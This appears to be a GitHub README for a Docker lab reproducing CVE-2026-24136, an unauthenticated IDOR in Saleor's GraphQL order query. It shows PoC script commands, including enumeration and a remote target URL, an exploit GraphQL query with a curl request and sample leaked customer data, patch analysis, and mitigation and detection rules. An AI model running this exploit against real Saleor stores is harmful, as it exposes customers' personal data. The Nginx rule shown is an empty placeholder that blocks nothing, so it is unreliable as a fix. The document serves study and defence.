BlankBire/CVE-2026-24136-Lab
GitHub: BlankBire/CVE-2026-24136-Lab
该项目为 Saleor GraphQL API 的 IDOR 未授权访问漏洞(CVE-2026-24136)提供了一键式的 Docker 漏洞复现环境和自动化 PoC 利用脚本。
Stars: 1 | Forks: 0
# CVE-2026-24136 - Saleor GraphQL IDOR / 未授权 PII 泄露
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | CVE-2026-24136 |
| **漏洞类型** | IDOR - 通过用户控制密钥绕过授权 (CWE-639) |
| **软件** | Saleor 电子商务平台 |
| **受影响版本** | 3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28 |
| **已修复版本** | 3.20.110 · 3.21.45 · 3.22.29 |
| **CVSS 3.1** | 7.5 HIGH (`AV:N/AC:L/PR:N/S:U/C:H/I:N/A:N`) |
| **CVSS 4.0** | 8.7 HIGH |
| **影响** | 未经授权的攻击者可读取任何订单的 PII (姓名、地址、电话、电子邮件) |
| **需要身份验证?** | 否 |
## 漏洞描述
Saleor 提供了一个用于管理电子商务订单的 GraphQL API。`order(id: $id)` 查询允许根据 global ID 获取订单详情。在受影响的版本中,该查询未验证调用者是否有权查看该订单。
任何人,包括完全匿名、没有账户的用户,都可以调用此查询并获取客户的全部 PII:电子邮件、姓名、收货地址、电话号码、登录历史。
## 实验环境结构
```
cve-2026-24136-lab/
├── docker-compose.yml # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1 # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
├── start_api.sh # Startup wrapper: patch wsgi bug + gunicorn
├── seed_data.py # Tạo victim accounts + orders có PII
└── poc_cve_2026_24136.py # PoC khai thác
```
## 启动实验环境
### 前置条件
- Docker Desktop (Windows / macOS) 或 Docker Engine (Linux)
- Python 3.8+
- `pip install requests`
### Windows (PowerShell)
```
# 按需授予执行权限
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process
# 运行自动 setup
.\setup_lab.ps1
```
### Linux / WSL / macOS (Bash)
```
chmod +x setup_lab.sh
./setup_lab.sh
```
### 手动
```
# 1. 启动 containers
docker compose up -d
# 2. 等待 API 就绪(约 60-90 秒)
# 检查:curl http://localhost:8000/health/
# 3. 创建 admin account
docker exec cve_saleor_api python manage.py shell -c \
"from django.contrib.auth import get_user_model; U=get_user_model(); \
U.objects.filter(email='admin@example.com').exists() or \
U.objects.create_superuser('admin@example.com', 'admin')"
# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb
# 5. 创建 victim data(包含 PII 的 accounts + orders)
cd scripts
pip install requests
python seed_data.py
```
**启动后的 Endpoint:**
| 服务 | URL |
|---|---|
| Saleor GraphQL API | http://localhost:8000/graphql/ |
| GraphQL Playground | http://localhost:8000/graphql/ |
| Saleor Dashboard | http://localhost:9000 |
| Admin | admin@example.com / admin |
## 使用 PoC
```
cd scripts
# 查看技术说明
python poc_cve_2026_24136.py explain
# 从已 seed 的列表中利用(推荐 - Saleor 3.x 使用 UUID IDs)
python poc_cve_2026_24136.py file order_ids.json
# 通过 base64 global ID 直接利用 1 个 order
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...
# Enumerate sequential(仅适用于使用 integer IDs 的 Saleor < 3.x)
python poc_cve_2026_24136.py enumerate --start 1 --end 100
# 更改 target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json
# 将结果保存为 JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json
```
### 示例输出
```
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...
[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)
╔══════════════════════════════════════════════════════════════╗
║ [LEAKED] ORDER #41 -- DRAFT ║
╠──────────────────────────────────────────────────────────────╣
║ Email : victim1@lab.local ║
╠──────────────────────────────────────────────────────────────╣
║ Billing Address : Nguyen Van A ║
║ Street : 123 Le Loi Street ║
║ City/Post : HO CHI MINH CITY 700000 ║
║ Country : Vietnam ║
║ Phone : +84901234567 ║
╚══════════════════════════════════════════════════════════════╝
[*] Successfully leaked 6/6 orders
```
## 根本原因分析
### 1. 订单 ID 编码
Saleor 采用符合 Relay GraphQL spec 标准的“Global Object Identification”。每个对象都由一个具有以下格式的 global ID 标识:
```
base64(":")
```
对于 Saleor 3.x 中的订单:
```
# internal_id 为 UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id = base64("Order:" + internal_id)
= "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"
```
### 2. 引发漏洞的代码
**文件:** `saleor/graphql/order/resolvers.py`
```
# 存在漏洞的版本(patch 之前)
def resolve_order(root, info, id):
"""Resolve order by ID – không có bất kỳ kiểm tra authorization nào."""
_, pk = from_global_id_or_error(id, Order)
return qs.filter(pk=pk).first()
# Bất kỳ ai gọi cũng nhận được dữ liệu, không kiểm tra user, không kiểm tra session
```
**文件:** `saleor/graphql/order/schema.py`
```
# Query definition,未声明 permissions
class OrderQueries:
order = graphene.Field(
Order,
description="Look up an order by ID.",
id=graphene.Argument(graphene.ID, description="ID of the order."),
)
def resolve_order(self, info, id):
return resolvers.resolve_order(info, id)
# Không có @permission_required, không có guard nào
```
### 3. 利用 GraphQL Query
发送的查询不包含 Authorization header:
```
query ExploitOrder($id: ID!) {
order(id: $id) {
number
status
userEmail
billingAddress {
firstName
lastName
streetAddress1
city
postalCode
phone
}
shippingAddress {
firstName
lastName
phone
}
user {
email
firstName
lastName
lastLogin
isActive
}
}
}
```
```
# 使用 curl 发送,无需 token
curl -s http://localhost:8000/graphql/ \
-H "Content-Type: application/json" \
-d '{
"query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
}'
# Response(无需 auth):
# {"data":{"order":{"number":"41","userEmail":"victim1@lab.local","billingAddress":{"phone":"+84901234567"}}}}
```
### 4. 攻击流程
```
Attacker (anonymous) Saleor GraphQL API
| |
|── POST /graphql/ ─────────────────────>|
| Content-Type: application/json |
| (NO Authorization header) |
| {"query":"query { |
| order(id: \"T3JkZXI6...\") { |
| userEmail |
| billingAddress { phone } |
| } |
| }"} |
| |
|<── HTTP 200 OK ─────────────────────── |
| {"data": {"order": { |
| "userEmail": "victim@example.com", |
| "billingAddress": { |
| "phone": "+84901234567" |
| } |
| }}} |
| |
```
## 补丁分析
### 主要的修复提交
**文件:** `saleor/graphql/order/resolvers.py`
```
# 已 PATCH 版本(>= 3.20.110)
def resolve_order(root, info, id):
"""Resolve order by ID với authorization check đầy đủ."""
_, pk = from_global_id_or_error(id, Order)
order = qs.filter(pk=pk).first()
# Guard 1: Staff và App có thể xem mọi order
if requestor_is_staff_member_or_app(info.context.user, info.context.app):
return order
# Guard 2: Unauthenticated user → trả về None (không báo lỗi để tránh leak existence)
if not info.context.user or not info.context.user.is_authenticated:
return None
# Guard 3: Authenticated user chỉ được xem order của chính mình
if order and order.user_id != info.context.user.pk:
raise PermissionDenied(
"You don't have permission to access this order."
)
return order
```
**文件:** `saleor/graphql/order/schema.py`
```
# 添加 annotation 以记录 permission requirement
class OrderQueries:
order = graphene.Field(
Order,
description=(
"Look up an order by ID. "
"Requires authentication. Staff users can access all orders. "
"Regular users can only access their own orders."
),
id=graphene.Argument(graphene.ID, required=True),
)
```
### 补丁前后对比
```
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Không có Authorization header)
─────────────────────────────────────────────
TRƯỚC PATCH (≤ 3.20.109):
HTTP 200 OK
{"data": {"order": {"userEmail": "victim@example.com"}}}
→ PII bị lộ
─────────────────────────────────────────────
SAU PATCH (≥ 3.20.110):
HTTP 200 OK
{"data": {"order": null}}
→ Trả null, không có lỗi (intentional – không để attacker
biết order có tồn tại hay không)
─────────────────────────────────────────────
```
## 深入技术分析
### 为什么补丁返回 `null` 而不是报错?
对于未经身份验证的请求,返回 `null` 而不是 `PermissionDenied` 是有意的设计:
- 如果返回 `PermissionDenied` → 攻击者会知道订单存在 (existence oracle)
- 如果返回 `null` → 攻击者无法区分“无权限”和“不存在”
这是在 GraphQL 层应用的一种 timing-safe existence check 技术。
### 为什么已通过身份验证的用户仍然使用 `raise PermissionDenied`?
因为一旦登录,清晰的错误报告有助于调试。Existence oracle 不再是问题,因为:
1. 已通过身份验证的用户通常知道自己的订单存在
2. 已通过身份验证的攻击者必然拥有账户 → 可能被吊销、追踪或受到速率限制
### 为什么 UUID 比整数 ID 更难枚举?
```
Integer IDs (Saleor 2.x):
Order:1, Order:2, ..., Order:N
→ Cần O(N) requests để enumerate N orders
→ Attacker có thể biết tổng số orders (bằng binary search)
UUID IDs (Saleor 3.x):
Order:460d1e27-2b0b-4897-84c9-64b524b08d64
→ Search space: 2^122 (UUID v4 có 122 bit ngẫu nhiên)
→ Brute force thực tế là bất khả thi
→ Nhưng ID vẫn bị lộ qua: order confirmation email, URL trong dashboard,
API responses, logs → nếu attacker có được 1 ID, vẫn khai thác được
```
### CVSS 向量分解
```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AV:N – Attack Vector: Network (khai thác qua internet)
AC:L – Attack Complexity: Low (không cần điều kiện đặc biệt)
PR:N – Privileges Required: None (không cần tài khoản)
UI:N – User Interaction: None (không cần nạn nhân tương tác)
S:U – Scope: Unchanged (chỉ ảnh hưởng Saleor API)
C:H – Confidentiality: High (toàn bộ PII bị lộ)
I:N – Integrity: None (không sửa được dữ liệu)
A:N – Availability: None (không DoS)
```
## 缓解与防御
### 1. 立即打补丁 (最高优先级)
```
# 检查当前版本
pip show saleor | grep Version
# 升级到已修复版本
pip install "saleor>=3.20.110" # nếu đang dùng dòng 3.20.x
pip install "saleor>=3.21.45" # nếu đang dùng dòng 3.21.x
pip install "saleor>=3.22.29" # nếu đang dùng dòng 3.22.x
```
### 2. 临时 WAF 规则 (如果无法立即打补丁)
阻止匿名用户调用 `order()` 查询:
```
# Nginx – 阻止来自 unauthenticated requests 的 GraphQL order query
location /graphql/ {
# Nếu không có Authorization header và body chứa "order("
if ($http_authorization = "") {
# Chặn các query có dấu hiệu khai thác
# Lưu ý: đây chỉ là giải pháp tạm, không thay thế patch
}
proxy_pass http://saleor_api;
}
```
对于 AWS WAF / CloudFront:
```
{
"Name": "BlockAnonymousOrderQuery",
"Priority": 1,
"Action": {"Block": {}},
"Statement": {
"AndStatement": {
"Statements": [
{
"ByteMatchStatement": {
"SearchString": "\"order\"",
"FieldToMatch": {"Body": {}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "CONTAINS"
}
},
{
"ByteMatchStatement": {
"SearchString": "Authorization",
"FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
"TextTransformations": [{"Priority": 0, "Type": "NONE"}],
"PositionalConstraint": "EXACTLY",
"NegatedStatement": true
}
}
]
}
}
}
```
### 3. 速率限制
```
# 限制来自无 auth 的单个 IP 的 requests
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;
location /graphql/ {
limit_req zone=graphql_anon burst=5 nodelay;
proxy_pass http://saleor_api;
}
```
### 4. 监控 / 检测
访问日志中的利用特征:
```
# 检测:1 个 IP 发送大量无 Authorization 的 GraphQL requests
grep 'POST /graphql/' access.log \
| awk '$9 == 200 && !/Authorization/' \
| awk '{print $1}' \
| sort | uniq -c | sort -rn \
| awk '$1 > 20' # Alert nếu > 20 requests từ 1 IP
# 检测 request body 中无 auth 的 "order" pattern
# (需要 JSON body logging)
```
适用于 Grafana / Datadog 的告警规则:
```
alert: SaleorAnonOrderQuery
expr: |
rate(nginx_http_requests_total{
path="/graphql/",
method="POST",
has_auth_header="false"
}[5m]) > 5
severity: warning
annotations:
summary: "Potential CVE-2026-24136 exploitation attempt"
description: "High rate of unauthenticated GraphQL POST requests"
```
## 清理实验环境
```
# 停止并删除 containers + volumes(删除所有 data)
docker compose down -v
# 仅停止 containers(保留 data)
docker compose stop
```
## 参考
- [Saleor 安全公告](https://github.com/saleor/saleor/security/advisories)
- [OWASP - 失效的对象级别授权 (BOLA/IDOR)](https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/)
- [CWE-639 - 通过用户控制密钥绕过授权](https://cwe.mitre.org/data/definitions/639.html)
- [Relay Global Object Identification 规范](https://relay.dev/graphql/objectidentification.htm)
标签:CISA项目, Docker, GraphQL, IDOR, Saleor, 安全防御评估, 搜索引擎查询, 数据泄露, 测试用例, 漏洞环境, 请求拦截, 逆向工具